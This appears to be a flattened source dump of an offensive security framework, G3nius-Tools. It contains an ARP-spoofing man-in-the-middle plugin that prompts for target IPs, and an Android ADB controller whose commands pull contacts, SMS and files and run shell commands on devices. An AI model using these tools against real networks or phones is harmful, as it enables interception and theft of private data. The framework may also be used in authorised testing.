| if Error_Level == Error_Levels.Critical: 15 | print(colored('[!] ', 'red') + colored(Title, 'yellow'), end=End) 16 | if Clear_Page: 17 | Exit_Request(Exit_Codes.Crash) 18 | else: 19 | Exit_Request(Exit_Codes.Crash, clear_and_banner=False) 20 | elif Error_Level == Error_Levels.High: 21 | print(colored('[!] ', 'red') + colored(Title, 'yellow'), end=End) 22 | elif Error_Level == Error_Levels.Confirm: 23 | print(colored('[?] ', 'yellow') + colored(Title, 'white'), end=End) 24 | elif Error_Level == Error_Levels.Failed_Job: 25 | print(colored('[-] ', 'yellow') + colored(Title, 'red'), end=End) 26 | elif Error_Level == Error_Levels.Alert: 27 | print(colored('[+] ', 'green') + colored(Title, 'white'), end=End) 28 | elif Error_Level == Error_Levels.Info: 29 | print(colored('[*] ', 'magenta') + colored(Title, 'white'), end=End) 30 | else: 31 | print(Title, end=End) 32 | 33 | # show description 34 | if Description != None: 35 | if Error_Level == None: 36 | print(Description) 37 | else: 38 | print(colored("Description:\t", 'blue') + colored(Description, 'white')) 39 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/Exit_Request.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from sys import exit 4 | 5 | # internal 6 | from lib.packages.termcolor import colored 7 | from lib.GPL.Page_Managers import gpl_clear_and_banner 8 | from lib.core.main.Clean_Temp_Dir import Clean_Temp_Dir 9 | 10 | """ exit request """ 11 | def Exit_Request(Error_Code, clear_and_banner=True, text_after_clear=None, clear_tmp_folder=True): 12 | if clear_and_banner: 13 | gpl_clear_and_banner() 14 | if text_after_clear: 15 | print(text_after_clear) 16 | # clean tmp folder 17 | if clear_tmp_folder: 18 | Clean_Temp_Dir(False) 19 | # exit 20 | print(colored('Exiting..', 'magenta')) 21 | exit(Error_Code) -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/G3nius_Location.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from os.path import abspath, dirname 3 | from pathlib import Path 4 | 5 | # function 6 | # return string not ended with '/' 7 | def G3nius_Location(): 8 | Location = dirname(abspath(__file__)) 9 | Location = str(Path(Location).parent.parent) 10 | return Location -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/OS_Detector.py: -------------------------------------------------------------------------------- 1 | # import libs 2 | from os import name 3 | from time import sleep 4 | from lib.packages.termcolor import colored 5 | from lib.config.Main_Configs import Sleep_On_Unknown_OS 6 | 7 | 8 | """ detect os """ 9 | # can be once : ['Linux','Windows','Unknown'] 10 | if str.lower(name) == 'nt': 11 | OS = 'Windows' 12 | elif str.lower(name) == 'posix': 13 | OS = 'Linux' 14 | else: 15 | OS = 'Unknown' 16 | print(colored('[!] ', 'red') + colored('Your os not support, Sometimes it may be not working. Continue after ' + str(Sleep_On_Unknown_OS) + ' S..')) 17 | sleep(Sleep_On_Unknown_OS) -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/Run_File.py: -------------------------------------------------------------------------------- 1 | # libs 2 | from subprocess import call 3 | from sys import modules, exc_info 4 | from lib.core.End_Plugin import EndScript_Class 5 | 6 | # if crashed at import mode, return linenumber 7 | def Run_File(file_address, subprocess_call=True): 8 | if subprocess_call: 9 | # call 10 | call(file_address) 11 | else: 12 | # run with g3nius-tools libs 13 | try: 14 | __import__(file_address) 15 | #exec('import ' + file_address) 16 | except EndScript_Class: 17 | # Ended with End_Plugin 18 | del modules[file_address] 19 | return None 20 | except Exception as Ex: 21 | # finders functions 22 | def Find_Error_Line(exc_tb): 23 | while True: 24 | if hasattr(exc_tb, 'tb_next') and exc_tb.tb_next != None: 25 | # go to deeper layer 26 | exc_tb = exc_tb.tb_next 27 | else: 28 | # return line number 29 | return exc_tb.tb_lineno 30 | 31 | def Find_Error_File(exc_tb): 32 | return exc_tb.tb_frame.f_locals['file_address'].replace('.', '/') + '.py' 33 | # create pointers 34 | exc_type, exc_obj, exc_tb = exc_info() 35 | # crash, return line number 36 | FileName = Find_Error_File(exc_tb) 37 | Line_Number = Find_Error_Line(exc_tb) 38 | del exc_type, exc_obj, exc_tb 39 | return [FileName, Line_Number, Ex] 40 | else: 41 | # exit without error 42 | del modules[file_address] 43 | return None -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/installers/check.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from os.path import isfile, isdir 4 | from lib.core.Error_Handler import Handler 5 | import lib.config.Error_Levels as Error_Levels 6 | 7 | 8 | 9 | """ check """ 10 | # version: 11 | # 1 12 | def Check_Installtion_G3nius(Verbose=True): 13 | if (isdir('/usr/share/G3nius-Tools') and isfile('/bin/g3nius-tools')): 14 | if (Verbose): 15 | Handler(Error_Levels.Alert, "G3nius-Tools already Installed.") 16 | return True 17 | else: 18 | if (Verbose): 19 | Handler(Error_Levels.Failed_Job, "G3nius-Tools not installed.") 20 | return False -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/installers/installer_uninstaller.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from os import symlink, unlink 4 | from shutil import move, rmtree 5 | 6 | # core 7 | from lib.core.G3nius_Location import G3nius_Location 8 | from lib.core.Error_Handler import Handler 9 | from lib.core.installers.check import Check_Installtion_G3nius 10 | 11 | # configs 12 | import lib.config.Error_Levels as Error_Levels 13 | 14 | 15 | """ installers """ 16 | 17 | # bootstrap 18 | Location = G3nius_Location() 19 | 20 | # version: 21 | # 1 22 | def Install_G3nius(Verbose=True): 23 | if not Check_Installtion_G3nius(False): 24 | if Verbose: 25 | Handler(Error_Levels.Alert, "Installing G3nius-Tools...") 26 | try: 27 | move(Location, '/usr/share/G3nius-Tools') 28 | symlink('/usr/share/G3nius-Tools/launcher.py', '/bin/g3nius-tools') 29 | except: 30 | if Verbose: 31 | Handler(Error_Levels.Failed_Job, "Can't write on G3nius folder or '/usr/share/' or '/bin/'.", "Manage your access and make sure run as root or administrator.") 32 | return False 33 | else: 34 | if Verbose: 35 | Handler(Error_Levels.Alert, "G3nius-Tools installed successfully.", "Command is 'g3nius-tools'") 36 | Handler(Error_Levels.Alert, "Current directory is moved to '/usr/share/G3nius-Tools/',\nUse 'cd ..' before.") 37 | return True 38 | else: 39 | if Verbose: 40 | Handler(Error_Levels.Alert, "G3nius-Tools already installed.") 41 | return None 42 | 43 | 44 | # version: 45 | # 1 46 | def Uninstall_G3nius(Verbose=True): 47 | if Check_Installtion_G3nius(False): 48 | if Verbose: 49 | Handler(Error_Levels.Alert, "Uninstalling G3nius-Tools...") 50 | try: 51 | rmtree('/usr/share/G3nius-Tools') 52 | unlink('/bin/g3nius-tools') 53 | except: 54 | if Verbose: 55 | Handler(Error_Levels.Failed_Job, "Can't delete from '/usr/share/' or '/bin/'.", "Manage your access and make sure run as root or administrator.") 56 | return False 57 | else: 58 | if Verbose: 59 | Handler(Error_Levels.Alert, "G3nius-Tools uninstalled successfully.") 60 | return True 61 | else: 62 | if Verbose: 63 | Handler(Error_Levels.Alert, "G3nius-Tools already not installed.") 64 | return False 65 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Clean_Temp_Dir.py: -------------------------------------------------------------------------------- 1 | # external 2 | from os.path import isdir, isfile 3 | from os import remove, mkdir 4 | from shutil import rmtree 5 | 6 | # internal 7 | from lib.core.G3nius_Location import G3nius_Location 8 | from lib.config.Error_Levels import Critical, High 9 | 10 | # clean 11 | def Clean_Temp_Dir(Exit_If_Error=True): 12 | Location = G3nius_Location() 13 | try: 14 | if isdir(Location + '/tmp'): 15 | rmtree(Location + '/tmp') 16 | elif isfile(Location + '/tmp'): 17 | remove(Location + '/tmp') 18 | mkdir(Location + '/tmp') 19 | except: 20 | # import here to block loop 21 | from lib.core.Error_Handler import Handler 22 | if Exit_If_Error: 23 | Handler(Critical, "'tmp' folder can't be delete or create! Manage access.") 24 | else: 25 | Handler(High, "'tmp' folder can't be delete or create! Manage access.") -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Do_On_Startup.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # internal 3 | from lib.core.OS_Detector import OS 4 | from lib.config.Main_Configs import Block_Windows_CMD 5 | # extrenal 6 | from os import getppid 7 | from psutil import Process 8 | 9 | """ functions """ 10 | def Startup(): 11 | # Get process parent name & block CMD 12 | if Block_Windows_CMD and OS == 'Windows' and Process(getppid()).name() == 'cmd.exe': 13 | print("Cmd not allowed because Windows CMD can't show colored texts.") 14 | print("Please run it under Windows Powershell.") 15 | print('You can set this option to "False" (Off) at "lib/config/Main_Configs.py"') -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Generate_Menu.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.packages.termcolor import colored 3 | from lib.GPL.String_Workers import gpl_fix_spases 4 | 5 | """ functions """ 6 | def Generate_Menu(Plugin_List, Menu_Numebrs): 7 | ret = colored("|______________________________________________________________________|", 'red') 8 | ret += colored('\n|' + gpl_fix_spases('', 70) + '|\n| ', 'red') + colored(gpl_fix_spases('Select Once:', 67), 'yellow') + colored('|', 'red') 9 | ret += colored("\n|______________________________________________________________________|", 'red') 10 | for Plugin in Plugin_List: 11 | ret += "\n" + gpl_fix_spases(colored(str(Plugin['ID']), 'green') + ' ' + colored(Plugin['Title'], 'white'), 87, False) 12 | ret += "\n" + colored(str(Menu_Numebrs + 1), 'green') + colored(', ', 'white') + colored('q', 'green') + colored(' Exit', 'white') 13 | return ret -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Plugin_Launcher.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from os import chmod 3 | from lib.core.Run_File import Run_File 4 | from lib.core.End_Plugin import End_Plugin, EndScript_Class 5 | from lib.core.Error_Handler import Handler 6 | import lib.config.Error_Levels as Error_Levels 7 | from lib.core.G3nius_Location import G3nius_Location 8 | 9 | """ Launch """ 10 | # Stractrue: 11 | # {'ID': 1, 'Name': 'ddos', 'Title': 'do ddos', 'File_Address': '/path/to/main.py', 'Import_G3nius': False} 12 | def Plugin_Launcher(Plugin): 13 | # check open source 14 | if Plugin['Import_G3nius']: 15 | # run source with g3nius-tools libs 16 | try: 17 | Crash_Details = Run_File('plugins.' + Plugin['Name'] + '.main', subprocess_call=False) 18 | except (EndScript_Class, KeyError): 19 | return 20 | except (KeyboardInterrupt, EOFError): 21 | Handler(Error_Levels.Failed_Job, 'Plugin ended with user request.') 22 | except Exception as EX: 23 | Handler(Error_Levels.Failed_Job, "Plugin crashed! Can't find & say line number to you :(", str(EX)) 24 | else: 25 | if Crash_Details != None: 26 | if Crash_Details[1] == 0 or Crash_Details[0] == 'Run_File.py': 27 | Handler(Error_Levels.Failed_Job, "Failed to import " + G3nius_Location() + '/' + Plugin['Name'] + '/main.py', str(Crash_Details[2])) 28 | else: 29 | Handler(Error_Levels.Failed_Job, "Plugin crashed at: '" + G3nius_Location() + '/' + Crash_Details[0] + "' Line: " + str(Crash_Details[1]), str(Crash_Details[2])) 30 | else: 31 | # close source 32 | try: 33 | Run_File(Plugin['File_Address']) 34 | except PermissionError: 35 | try: 36 | chmod(Plugin['File_Address'], 0o771) 37 | except: 38 | Handler(Error_Levels.Failed_Job, 'File address "' + Plugin['File_Address'] + '" not have execute access!') 39 | else: 40 | Plugin_Launcher(Plugin) 41 | except Exception as EX: 42 | if str(EX)[0:28] == '[Errno 8] Exec format error:': 43 | Handler(Error_Levels.Failed_Job, "This plugin isn't for your CPU (ARM or AMD) or not have SheBang.", "SheBang is first line at file, should thats like: #!/bin/python3") 44 | else: 45 | Handler(Error_Levels.Failed_Job, "Plugin crashed!", "Exception:\t" + str(EX)) 46 | except: 47 | Handler(Error_Levels.Failed_Job, "Plugin crashed!") -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Restart_G3nius.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | # external 3 | from os import execv 4 | from sys import argv, executable 5 | # internal 6 | from lib.core.main.Clean_Temp_Dir import Clean_Temp_Dir 7 | 8 | 9 | # restart 10 | def Restart_G3nius(): 11 | Clean_Temp_Dir() 12 | execv(argv[0], argv) -------------------------------------------------------------------------------- /G3nius-Tools/lib/core/main/Statistics.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.GPL.HTTP_Managers import gpl_http_get 3 | from lib.config.Main_Configs import Statistics_Reports 4 | 5 | """ defs """ 6 | def Send_Statistics(Type="Usage"): 7 | if Statistics_Reports: 8 | if Type == 'Usage': 9 | gpl_http_get("https://api.bugzone.ir/G3nius/Statistics.php?Type=Usage", ok_http_codes=[200]) 10 | else: 11 | raise("Invalid type given.") 12 | -------------------------------------------------------------------------------- /G3nius-Tools/lib/packages/termcolor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # coding: utf-8 3 | 4 | from __future__ import print_function 5 | import os 6 | 7 | 8 | __ALL__ = [ 'colored', 'cprint' ] 9 | 10 | VERSION = (1, 1, 0) 11 | 12 | ATTRIBUTES = dict( 13 | list(zip([ 14 | 'bold', 15 | 'dark', 16 | '', 17 | 'underline', 18 | 'blink', 19 | '', 20 | 'reverse', 21 | 'concealed' 22 | ], 23 | list(range(1, 9)) 24 | )) 25 | ) 26 | del ATTRIBUTES[''] 27 | 28 | 29 | HIGHLIGHTS = dict( 30 | list(zip([ 31 | 'on_grey', 32 | 'on_red', 33 | 'on_green', 34 | 'on_yellow', 35 | 'on_blue', 36 | 'on_magenta', 37 | 'on_cyan', 38 | 'on_white' 39 | ], 40 | list(range(40, 48)) 41 | )) 42 | ) 43 | 44 | 45 | COLORS = dict( 46 | list(zip([ 47 | 'grey', 48 | 'red', 49 | 'green', 50 | 'yellow', 51 | 'blue', 52 | 'magenta', 53 | 'cyan', 54 | 'white', 55 | ], 56 | list(range(30, 38)) 57 | )) 58 | ) 59 | 60 | 61 | RESET = '\033[0m' 62 | 63 | 64 | def colored(text, color=None, on_color=None, attrs=None): 65 | if os.getenv('ANSI_COLORS_DISABLED') is None: 66 | fmt_str = '\033[%dm%s' 67 | if color is not None: 68 | text = fmt_str % (COLORS[color], text) 69 | 70 | if on_color is not None: 71 | text = fmt_str % (HIGHLIGHTS[on_color], text) 72 | 73 | if attrs is not None: 74 | for attr in attrs: 75 | text = fmt_str % (ATTRIBUTES[attr], text) 76 | 77 | text += RESET 78 | return text 79 | 80 | 81 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 82 | print((colored(text, color, on_color, attrs)), **kwargs) 83 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ADB_Controller/Args_Manager.py: -------------------------------------------------------------------------------- 1 | """ lib """ 2 | from lib.classes.gpl import Error_Levels, Handler 3 | 4 | 5 | """ process """ 6 | def Manage_args(arg: str, can_be:list[str:str]): 7 | if arg in can_be: 8 | return arg 9 | else: 10 | Handler(Error_Levels.Minus, f"Invalid input, Just can be once {can_be}") 11 | return False 12 | 13 | 14 | 15 | def Join_args(args): 16 | Value = ' '.join(args) 17 | if Value.replace(' ', '') == '': 18 | raise IndexError('Invalid arguments.') 19 | else: 20 | return Value 21 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ADB_Controller/Commands_Config.py: -------------------------------------------------------------------------------- 1 | # Load vars 2 | from lib.config.Main_Configs import Product_Name 3 | 4 | # Register commands 5 | Help_Commands = { 6 | # User 7 | 'clear': f"Clear page.", 8 | '?': f"Show help page.", 9 | 'help': f"Alias to `?`.", 10 | 'select': f"Select operating device/devices.", 11 | 'unselect': f"Unselect operating device/devices.", 12 | 'list-selected': f"Show list of selected devices.", 13 | # ADB 14 | 'devices': f"Show all connected devices (Remote or Cable)", 15 | 'device_info': f"Show device(s) information.", 16 | 'wlan_IP': f"Show wlan IP of device(s).", 17 | 'tcp_IP [Port]': f"Convert LAN ADB device to remote ADB.", 18 | 'connect [IP | IP:Port]': f"Connect to remote device(s) with IP.", 19 | 'disconnect': f"Disconnect from remote device(s) with IP.", 20 | 'wifi [off | on]': f"Turn on/off device(s) Wi-Fi. (Note: Will lost remote device(s))", 21 | 'list_apps': f"Show list of installed apps.", 22 | 'is_rooted': f"Check device(s) is rooted or not.", 23 | 'command [command]': f"Run OS commands on device(s).", 24 | 'install [APK path]': f"Install an APK on device(s).", 25 | 'install_URL [APK URL]': f"Install an APK on device(s) from a URL.", 26 | 'uninstall [package name]': f"Uninstall an application. (Danger: Lost data)", 27 | 'open [package name]': f"Open an application.", 28 | 'open [package name] [activity name]': f"Open activity of an application.", 29 | 'close [package name]': f"Close an application.", 30 | 'clear_data [package name]': f"Do clear data on an application. (Danger: Lost data)", 31 | 'app_info [package name]': f"How information of application.", 32 | 'shutdown': f"Shutdown & disconnect device(s). (Device(s) will be disconnect)", 33 | 'reboot': f"Reboot (Restart) device(s). (Note: Will lost remote device(s))", 34 | 'kill_server': f"Kill ADB server on {Product_Name} (All of devices will be lost)", 35 | 'download [file path on device]': f"Download/Transfer file from device(s).", 36 | 'upload [file path on hacker PC]': f"Download/Transfer file from {Product_Name} to device", 37 | 'ls [path]': f"Show list of files/directories on the path.", 38 | 'airplane [off | on]': f"Turn on/off airplane mode. (Note: Will lost remote device(s))", 39 | 'battery': f"How battery level and charge information.", 40 | 'netstat': f"Get full network connections list.", 41 | 'volume [up | down]': f"Increase/decrease media volume level", 42 | 'screen_status': f"Check status screen of device(s).", 43 | 'mute-unmute': f"Mute/Unmute media volume.", 44 | 'run_keycode [keycode numbers, ...]': f"Run a ADB keycode on device(s).", 45 | 'browser [URL]': f"Open a URL in the default browser.", 46 | 'screen [on | off]': f"Change status of device(s) screen.", 47 | 'screen-lock': f"Lock device.", 48 | 'screenshot [PNG path]': f"Take screenshot from devices.", 49 | 'ps': f"Get list of all client process.", 50 | 'contacts': f"Get list of contacts.", 51 | 'sms': f"Get list of SMSs.", 52 | 'type [Text]': f"Type a text on device." 53 | } 54 | 55 | Known_Commands = [ 56 | 'clear', 57 | '?', 58 | 'help', 59 | 'select', 60 | 'unselect', 61 | 'list-selected', 62 | 'devices', 63 | 'device_info', 64 | 'wlan_IP', 65 | 'tcp_IP', 66 | 'connect', 67 | 'disconnect', 68 | 'wifi', 69 | 'list_apps', 70 | 'is_rooted', 71 | 'command', 72 | 'install', 73 | 'install_URL', 74 | 'uninstall', 75 | 'open', 76 | 'close', 77 | 'clear_data', 78 | 'app_info', 79 | 'shutdown', 80 | 'reboot', 81 | 'kill_server', 82 | 'download', 83 | 'upload', 84 | 'ls', 85 | 'airplane', 86 | 'battery', 87 | 'netstat', 88 | 'volume', 89 | 'screen_status', 90 | 'mute-unmute', 91 | 'run_keycode', 92 | 'browser', 93 | 'screen', 94 | 'screen-lock', 95 | 'screenshot', 96 | 'ps', 97 | 'contacts', 98 | 'sms', 99 | 'type' 100 | ] 101 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ADB_Controller/Show_Device.py: -------------------------------------------------------------------------------- 1 | """ libs """ 2 | from lib.classes.gpl import gpl_adb_device_information 3 | from lib.classes.gpl import Handler, Error_Levels 4 | 5 | """ process """ 6 | def Show_Device(Device): 7 | Info = gpl_adb_device_information(Device) 8 | # Title 9 | Handler(Error_Levels.Plus, f"Serials: {Info['Serial']}", Print_Before="\n\n") 10 | # Description 11 | Handler(Error_Levels.Star, f"Model:\t{Info['Model']}", Print_Before="\t") 12 | Handler(Error_Levels.Star, f"Name:\t{Info['Name']}", Print_Before="\t") 13 | Handler(Error_Levels.Star, f"Widow Size:\t{Info['Widow_Size']}", Print_Before="\t") 14 | Handler(Error_Levels.Star, f"Rotation:\t{Info['Rotation']}", Print_Before="\t") 15 | Handler(Error_Levels.Star, f"IP:\t\t{Info['IP']}", Print_Before="\t") 16 | Handler(Error_Levels.Star, f"Path:\t{Info['Path']}", Print_Before="\t") 17 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ADB_Controller/Title.txt: -------------------------------------------------------------------------------- 1 | Full control devices via ADB 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ARP_Spoof/Title.txt: -------------------------------------------------------------------------------- 1 | Arpspoof attack (MITM) -------------------------------------------------------------------------------- /G3nius-Tools/plugins/ARP_Spoof/main.py: -------------------------------------------------------------------------------- 1 | # import G3nius-Tools 2 | # coding: utf-8 3 | 4 | """ libs """ 5 | # Internal 6 | from lib.classes.gpl import gpl_input, gpl_confirm 7 | from lib.classes.gpl import gpl_arp_spoof_thread, gpl_arp_spoof_end_attack_thread 8 | from lib.classes.gpl import gpl_clear_and_banner, gpl_set_banner_verion 9 | from lib.classes.core import Error_Levels, Handler 10 | # External 11 | from threading import Thread 12 | 13 | """ ask """ 14 | Target1_IP = gpl_input("Enter clinet IP address: ", get_ip=True) 15 | Target2_IP = gpl_input("Enter router/clinet_2 IP address: ", get_ip=True) 16 | Verbose = gpl_confirm("Run as verbose") 17 | 18 | """ attack """ 19 | # Banner 20 | gpl_set_banner_verion("2.0.0") 21 | gpl_clear_and_banner() 22 | 23 | # Attack 24 | thread = Thread(target=gpl_arp_spoof_thread, args=(Target1_IP, Target2_IP, True, Verbose,)) 25 | thread.run() 26 | 27 | # Wait for CTRL+C or CTRL+D 28 | Handler(Error_Levels.Info, 'Note: Disable your firewall if is on.') 29 | Handler(Error_Levels.Alert, 'Press CTRL+C to stop attack.') 30 | while True: 31 | try: 32 | input() 33 | except (EOFError, KeyboardInterrupt): 34 | break 35 | 36 | # Stop attack 37 | gpl_arp_spoof_end_attack_thread() 38 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/Title.txt: -------------------------------------------------------------------------------- 1 | G3nius public/private chat room. 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_asyncio.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_asyncio.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_bz2.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_bz2.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_cn.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_cn.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_hk.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_hk.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_iso2022.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_jp.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_jp.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_kr.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_kr.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_codecs_tw.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_codecs_tw.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_contextvars.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_contextvars.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_ctypes.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_ctypes.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_decimal.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_decimal.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_lzma.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_lzma.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_multibytecodec.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_multibytecodec.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_multiprocessing.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_multiprocessing.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_opcode.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_opcode.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_posixshmem.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_posixshmem.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_queue.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_queue.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/_ssl.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_ssl.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/base_library.zip: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/base_library.zip -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/include: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/include/ -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/lib: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/lib -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libbz2.so.1.0: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libbz2.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libcrypto.so.1.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libcrypto.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libexpat.so.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libexpat.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libffi.so.7: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libffi.so.7 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/liblzma.so.5: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/liblzma.so.5 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libpython3.9.so.1.0: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libpython3.9.so.1.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libreadline.so.8: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libreadline.so.8 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libssl.so.1.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libssl.so.1.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libtinfo.so.6: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libtinfo.so.6 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/libz.so.1: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/libz.so.1 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/main.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/G3nius-Tools/plugins/Chatroom/main.py -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/mmap.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/mmap.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/readline.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/readline.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/resource.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/resource.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/termios.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/termios.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Chatroom/version.txt: -------------------------------------------------------------------------------- 1 | 1.0.0 -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/Title.txt: -------------------------------------------------------------------------------- 1 | TCP/UDP send or recive data manually. 2 | -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_asyncio.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | ../../lib/RunLibs/_asyncio.cpython-39-x86_64-linux-gnu.so -------------------------------------------------------------------------------- /G3nius-Tools/plugins/Connector_Talk/_bz2.cpython-39-x86_64-linux-gnu.so: -------------------------------------------------------------------------------- 1 | 